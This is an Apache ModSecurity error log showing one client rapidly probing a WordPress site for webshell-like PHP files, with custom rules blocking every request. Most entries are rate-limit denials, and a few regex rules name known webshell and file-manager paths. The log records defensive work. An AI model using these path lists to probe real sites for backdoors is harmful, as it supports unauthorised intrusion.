[Fri Apr 10 22:19:44.149266 2026] [:error] [pid 62769:tid 62774] [client 158.158.45.58:51016] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adkHAMWsSnfLoB8ifjB6xwAAAkM"]
[Fri Apr 10 22:19:44.654609 2026] [:error] [pid 63134:tid 63150] [client 158.158.45.58:24573] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adkHANFALqPDwWi6eJKxGgAAA80"]
[Fri Apr 10 22:19:45.157910 2026] [:error] [pid 62884:tid 62913] [client 158.158.45.58:21071] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "adkHAeUCK1xrhnnmpo2L9wAAAtY"]
[Fri Apr 10 22:19:45.679487 2026] [:error] [pid 62884:tid 62914] [client 158.158.45.58:3217] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "adkHAeUCK1xrhnnmpo2L_AAAAtc"]
[Fri Apr 10 22:19:46.156493 2026] [:error] [pid 13189:tid 13193] [client 158.158.45.58:3235] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "adkHApAxiJKPums3eBDXeQAAAEE"]
[Fri Apr 10 22:19:46.640342 2026] [:error] [pid 13189:tid 13200] [client 158.158.45.58:41984] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "adkHApAxiJKPums3eBDXfQAAAEg"]
[Fri Apr 10 22:19:47.144067 2026] [:error] [pid 13189:tid 13210] [client 158.158.45.58:28067] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "adkHA5AxiJKPums3eBDXgQAAAFI"]
[Fri Apr 10 22:19:47.736839 2026] [:error] [pid 13189:tid 13203] [client 158.158.45.58:34871] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "adkHA5AxiJKPums3eBDXiQAAAEs"]
[Fri Apr 10 22:19:48.224493 2026] [:error] [pid 13189:tid 13211] [client 158.158.45.58:43725] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "adkHBJAxiJKPums3eBDXjAAAAFM"]
[Fri Apr 10 22:19:48.719609 2026] [:error] [pid 13189:tid 13201] [client 158.158.45.58:3663] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "adkHBJAxiJKPums3eBDXjwAAAEk"]
[Fri Apr 10 22:19:49.226747 2026] [:error] [pid 62710:tid 62725] [client 158.158.45.58:49427] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/img.php"] [unique_id "adkHBeME7qrf5xEWWJsoHAAAAgw"]
[Fri Apr 10 22:19:49.712081 2026] [:error] [pid 62710:tid 62724] [client 158.158.45.58:23647] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adkHBeME7qrf5xEWWJsoHgAAAgs"]
[Fri Apr 10 22:19:50.296139 2026] [:error] [pid 62884:tid 62905] [client 158.158.45.58:26384] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adkHBuUCK1xrhnnmpo2MAAAAAs4"]
[Fri Apr 10 22:19:50.890899 2026] [:error] [pid 62651:tid 62677] [client 158.158.45.58:43281] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adkHBjbAH0le57SIaqwsFQAAAdg"]
[Fri Apr 10 22:19:51.410159 2026] [:error] [pid 62884:tid 62913] [client 158.158.45.58:34599] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adkHB-UCK1xrhnnmpo2MAwAAAtY"]
[Fri Apr 10 22:19:51.939464 2026] [:error] [pid 62819:tid 62838] [client 158.158.45.58:36864] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adkHB_U20EyPf7NlsldzAwAAApA"]
[Fri Apr 10 22:19:52.425499 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:34818] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adkHCMWsSnfLoB8ifjB62QAAAkU"]
[Fri Apr 10 22:19:52.929362 2026] [:error] [pid 13101:tid 13141] [client 158.158.45.58:40450] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adkHCN8Ldw85818pj2rzcgAAAIg"]
[Fri Apr 10 22:19:53.641950 2026] [:error] [pid 13101:tid 13156] [client 158.158.45.58:27193] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-turn.php"] [unique_id "adkHCd8Ldw85818pj2rzdwAAAJc"]
[Fri Apr 10 22:19:54.448797 2026] [:error] [pid 63134:tid 63140] [client 158.158.45.58:28107] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adkHCtFALqPDwWi6eJKxHgAAA8M"]
[Fri Apr 10 22:19:55.025665 2026] [:error] [pid 63062:tid 63074] [client 158.158.45.58:3506] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adkHC52HtsmV85NqkMf7QAAAA4o"]
[Fri Apr 10 22:19:55.506108 2026] [:error] [pid 13101:tid 13139] [client 158.158.45.58:34834] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adkHC98Ldw85818pj2rzfwAAAIY"]
[Fri Apr 10 22:19:55.993267 2026] [:error] [pid 62769:tid 62774] [client 158.158.45.58:23640] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adkHC8WsSnfLoB8ifjB64gAAAkM"]
[Fri Apr 10 22:19:56.502312 2026] [:error] [pid 13189:tid 13209] [client 158.158.45.58:29794] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adkHDJAxiJKPums3eBDXqgAAAFE"]
[Fri Apr 10 22:19:57.113805 2026] [:error] [pid 62710:tid 62726] [client 158.158.45.58:39134] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adkHDeME7qrf5xEWWJsoLAAAAg0"]
[Fri Apr 10 22:19:57.656571 2026] [:error] [pid 62884:tid 62903] [client 158.158.45.58:3091] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adkHDeUCK1xrhnnmpo2MBQAAAsw"]
[Fri Apr 10 22:19:58.505945 2026] [:error] [pid 63134:tid 63138] [client 158.158.45.58:34583] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adkHDtFALqPDwWi6eJKxJgAAA8E"]
[Fri Apr 10 22:19:59.328547 2026] [:error] [pid 63062:tid 63079] [client 158.158.45.58:29008] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adkHD52HtsmV85NqkMf7SQAAA48"]
[Fri Apr 10 22:19:59.801769 2026] [:error] [pid 13101:tid 13142] [client 158.158.45.58:39708] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adkHD98Ldw85818pj2rzhAAAAIk"]
[Fri Apr 10 22:20:00.282699 2026] [:error] [pid 63134:tid 63146] [client 158.158.45.58:3126] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adkHENFALqPDwWi6eJKxLwAAA8k"]
[Fri Apr 10 22:20:00.777673 2026] [:error] [pid 63062:tid 63075] [client 158.158.45.58:49433] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adkHEJ2HtsmV85NqkMf7TQAAA4s"]
[Fri Apr 10 22:20:01.327877 2026] [:error] [pid 62884:tid 62905] [client 158.158.45.58:35541] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adkHEeUCK1xrhnnmpo2MDQAAAs4"]
[Fri Apr 10 22:20:01.939960 2026] [:error] [pid 62884:tid 62895] [client 158.158.45.58:49453] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adkHEeUCK1xrhnnmpo2MEQAAAsQ"]
[Fri Apr 10 22:20:02.529248 2026] [:error] [pid 62819:tid 62840] [client 158.158.45.58:27221] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adkHEvU20EyPf7NlsldzFAAAApI"]
[Fri Apr 10 22:20:03.087561 2026] [:error] [pid 62710:tid 62735] [client 158.158.45.58:3512] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "adkHE-ME7qrf5xEWWJsoMQAAAhY"]
[Fri Apr 10 22:20:03.608625 2026] [:error] [pid 63062:tid 63084] [client 158.158.45.58:3300] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adkHE52HtsmV85NqkMf7UQAAA5Q"]
[Fri Apr 10 22:20:04.321007 2026] [:error] [pid 62710:tid 62717] [client 158.158.45.58:65113] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adkHFOME7qrf5xEWWJsoNQAAAgQ"]
[Fri Apr 10 22:20:04.801275 2026] [:error] [pid 63062:tid 63080] [client 158.158.45.58:49445] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adkHFJ2HtsmV85NqkMf7VAAAA5A"]
[Fri Apr 10 22:20:05.326054 2026] [:error] [pid 13189:tid 13192] [client 158.158.45.58:28993] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adkHFZAxiJKPums3eBDXtgAAAEA"]
[Fri Apr 10 22:20:05.801341 2026] [:error] [pid 13101:tid 13145] [client 158.158.45.58:29046] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adkHFd8Ldw85818pj2rzlQAAAIw"]
[Fri Apr 10 22:20:06.307162 2026] [:error] [pid 63134:tid 63152] [client 158.158.45.58:41296] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adkHFtFALqPDwWi6eJKxOwAAA88"]
[Fri Apr 10 22:20:06.850429 2026] [:error] [pid 62710:tid 62728] [client 158.158.45.58:39049] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adkHFuME7qrf5xEWWJsoPQAAAg8"]
[Fri Apr 10 22:20:07.335099 2026] [:error] [pid 13101:tid 13152] [client 158.158.45.58:44771] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adkHF98Ldw85818pj2rzmgAAAJM"]
[Fri Apr 10 22:20:07.818643 2026] [:error] [pid 63134:tid 63140] [client 158.158.45.58:44768] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "adkHF9FALqPDwWi6eJKxPwAAA8M"]
[Fri Apr 10 22:20:08.306690 2026] [:error] [pid 13101:tid 13142] [client 158.158.45.58:39550] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "adkHGN8Ldw85818pj2rznwAAAIk"]
[Fri Apr 10 22:20:08.848100 2026] [:error] [pid 13101:tid 13147] [client 158.158.45.58:40485] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "adkHGN8Ldw85818pj2rzowAAAI4"]
[Fri Apr 10 22:20:09.328044 2026] [:error] [pid 13101:tid 13135] [client 158.158.45.58:46326] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "adkHGd8Ldw85818pj2rzpwAAAII"]
[Fri Apr 10 22:20:09.815802 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:39055] [client 158.158.45.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adkHGcWsSnfLoB8ifjB66gAAAkU"]
[Fri Apr 10 22:20:10.386176 2026] [:error] [pid 13189:tid 13195] [client 158.158.45.58:34846] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "adkHGpAxiJKPums3eBDXvQAAAEM"]
[Fri Apr 10 22:20:10.863834 2026] [:error] [pid 63134:tid 63161] [client 158.158.45.58:29788] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "adkHGtFALqPDwWi6eJKxSAAAA9g"]
[Fri Apr 10 22:20:11.399660 2026] [:error] [pid 62819:tid 62830] [client 158.158.45.58:4049] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "adkHG_U20EyPf7NlsldzHwAAAog"]
[Fri Apr 10 22:20:11.887329 2026] [:error] [pid 63134:tid 63145] [client 158.158.45.58:29786] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myy.php"] [unique_id "adkHG9FALqPDwWi6eJKxTgAAA8g"]
[Fri Apr 10 22:20:12.378136 2026] [:error] [pid 63062:tid 63066] [client 158.158.45.58:25719] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myy.php"] [unique_id "adkHHJ2HtsmV85NqkMf7VgAAA4I"]
[Fri Apr 10 22:20:12.864837 2026] [:error] [pid 63062:tid 63085] [client 158.158.45.58:33153] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myy.php"] [unique_id "adkHHJ2HtsmV85NqkMf7WAAAA5U"]
[Fri Apr 10 22:20:13.356385 2026] [:error] [pid 62710:tid 62720] [client 158.158.45.58:48382] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myy.php"] [unique_id "adkHHeME7qrf5xEWWJsoTwAAAgc"]
[Fri Apr 10 22:20:13.946582 2026] [:error] [pid 62819:tid 62846] [client 158.158.45.58:49426] [client 158.158.45.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "adkHHfU20EyPf7NlsldzJAAAApg"]
